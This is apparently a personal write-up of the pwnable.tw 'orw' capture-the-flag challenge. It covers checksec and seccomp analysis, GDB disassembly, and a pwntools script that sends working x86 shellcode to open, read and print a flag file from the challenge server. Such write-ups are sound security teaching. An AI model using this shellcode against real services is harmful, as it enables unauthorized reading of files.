orw

orw.md Link to heading

ORW write-up Link to heading

Starting this challenge I ran pwn checksec on the program to get the info on the security measures for the binary:

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

After running the binary I quickly realized these security measures didn’t matter. Running the binary in GDB gave me the functionality of the program: disass main

0x08048548 <+0>:     lea    ecx,[esp+0x4]
0x0804854c <+4>:     and    esp,0xfffffff0
0x0804854f <+7>:     push   DWORD PTR [ecx-0x4]
0x08048552 <+10>:    push   ebp
0x08048553 <+11>:    mov    ebp,esp
0x08048555 <+13>:    push   ecx
0x08048556 <+14>:    sub    esp,0x4
0x08048559 <+17>:    call   0x80484cb <orw_seccomp>
0x0804855e <+22>:    sub    esp,0xc
0x08048561 <+25>:    push   0x80486a0
0x08048566 <+30>:    call   0x8048380 <printf@plt>
0x0804856b <+35>:    add    esp,0x10
0x0804856e <+38>:    sub    esp,0x4
0x08048571 <+41>:    push   0xc8
0x08048576 <+46>:    push   0x804a060
0x0804857b <+51>:    push   0x0
0x0804857d <+53>:    call   0x8048370 <read@plt>
0x08048582 <+58>:    add    esp,0x10
0x08048585 <+61>:    mov    eax,0x804a060
0x0804858a <+66>:    call   eax
0x0804858c <+68>:    mov    eax,0x0
0x08048591 <+73>:    mov    ecx,DWORD PTR [ebp-0x4]
0x08048594 <+76>:    leave
0x08048595 <+77>:    lea    esp,[ecx-0x4]
0x08048598 <+80>:    ret

Reading this I found that the program quite literally saved your input into memory then called that section of memory. There is also a seccomp function called as well. Seccomp I learned is a function filtering solution that whitelists only certain functions for use within the program. There’s a special tool called seccomp-tools that allows you to see what functions are allowed in the program.

seccomp-tools dump ./orw

 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011
 0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011
 0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011
 0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011
 0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011
 0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011
 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011
 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38)
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

This showed me that I needed to use open/read/write in my shellcode to run the program.

So I tried running some shellcode only to find out that the binary they gave me was compiled so that the shellcode was copied into non-executable memory so whenever it gets called it segfaults. I knew that it had to be able to run on the server so I just created some shellcode that would read the contents of /home/orw/flag into some empty memory then write 40 bytes from the buffer to stdout so I could read it. After a ton of tweaking of the shellcode, I was able to get a response from the server with the flag.

Program Link to heading

#! /usr/bin/env python
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
shellcode = b"j\x05Xhag\x00\x00hw/flhe/orh/hom1\xc9\x99T[\xcd\x80j\x03Xj\x03[h\x00\xa5\x04\x08Yj2Z\xcd\x80j\x04Xj\x01[h\x00\xa5\x04\x08Yj2Z\xcd\x80"
p = remote("chall.pwnable.tw", 10001)
p.recv()
p.sendline(shellcode)
p.interactive()

In the interactive I was able to get the flag:

[+] Opening connection to chall.pwnable.tw on port 10001: Done
[*] Switching to interactive mode
FLAG{EXAMPLE_FLAG}
\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive